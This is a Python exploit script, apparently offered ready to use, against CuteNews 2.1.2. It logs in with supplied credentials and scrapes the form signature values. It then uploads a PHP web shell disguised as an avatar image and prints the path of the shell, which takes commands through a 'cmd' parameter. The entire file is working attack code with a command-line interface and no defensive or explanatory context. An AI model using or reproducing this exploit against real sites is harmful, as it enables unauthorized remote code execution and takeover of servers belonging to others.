import re import sys import argparse import requests import random class Exploit: def __init__(self, url, username, password): self.url = url self.username = username self.password = password self.filename = f"{random.randrange(9999)}.php" self.session = requests.Session() def run(self): try: self.validate_version() self.login() except Exception as error: print(f"[!] {str(error)}") sys.exit(1) def validate_version(self): print("[*] Checking version...") response = self.session.get(self.url) matches = re.findall('Powered by <\w.+>CuteNews ([\d.]+)', response.text) if len(matches) != 1 or matches[0] != '2.1.2': raise Exception("CuteNews version 2.1.2 required") print("[+] CuteNews version 2.1.2 detected!") def login(self): print(f"[*] Logging in with credentials {self.username}:{self.password}") data = { 'action': 'dologin', 'username': self.username, 'password': self.password } response = self.session.post(self.url, data=data) if 'Please Login' in response.text: raise Exception('Failed to log in, are the credentials correct?') else: print("[+] Login successful!") self.upload_file() def upload_file(self): key, dsi = self.get_signature_values() print("[*] Uploading the RCE shell...") data = { 'mod': (None, 'main'), 'opt': (None, 'personal'), '__signature_key': (None, key), '__signature_dsi': (None, dsi), 'avatar_file': (self.filename, open('shell.php', 'r').read()) } response = self.session.post(self.url, files=data) if response.status_code != 200: raise Exception('An error occurred uploading our shell.') print("[+] Shell uploaded successfully!") print(f"[+] Path: /uploads/avatar_{self.username}_{self.filename}?cmd=") print("[*] Exploit complete!") def get_signature_values(self): url = f"{self.url}?mod=main&opt=personal" print("[*] Retrieving required __signature_key and __signature_dsi values") response = self.session.get(url) matches = re.findall('name="__signature_key" value="(.*?)".*name="__signature_dsi" value="(.*?)"', response.text) if len(matches) != 1: raise Exception('Failed to find the required values.') key = matches[0][0] dsi = matches[0][1] print(f"[+] __signature_key = {key}") print(f"[+] __signature_dsi = {dsi}") return key, dsi if __name__ == '__main__': parser = argparse.ArgumentParser(description='Exploits CuteNews 2.1.2 via poor file upload checks used when' 'uploading an avatar image leading to RCE.') parser.add_argument('url', help='The base/login URL of CuteNews (e.g. http://localhost/CuteNews/index.php)') parser.add_argument('username', help='The username for an existing CuteNews account', default=None) parser.add_argument('password', help='The password for the existing CuteNews account', default=None) args = parser.parse_args() exploit = Exploit(args.url, args.username, args.password) exploit.run()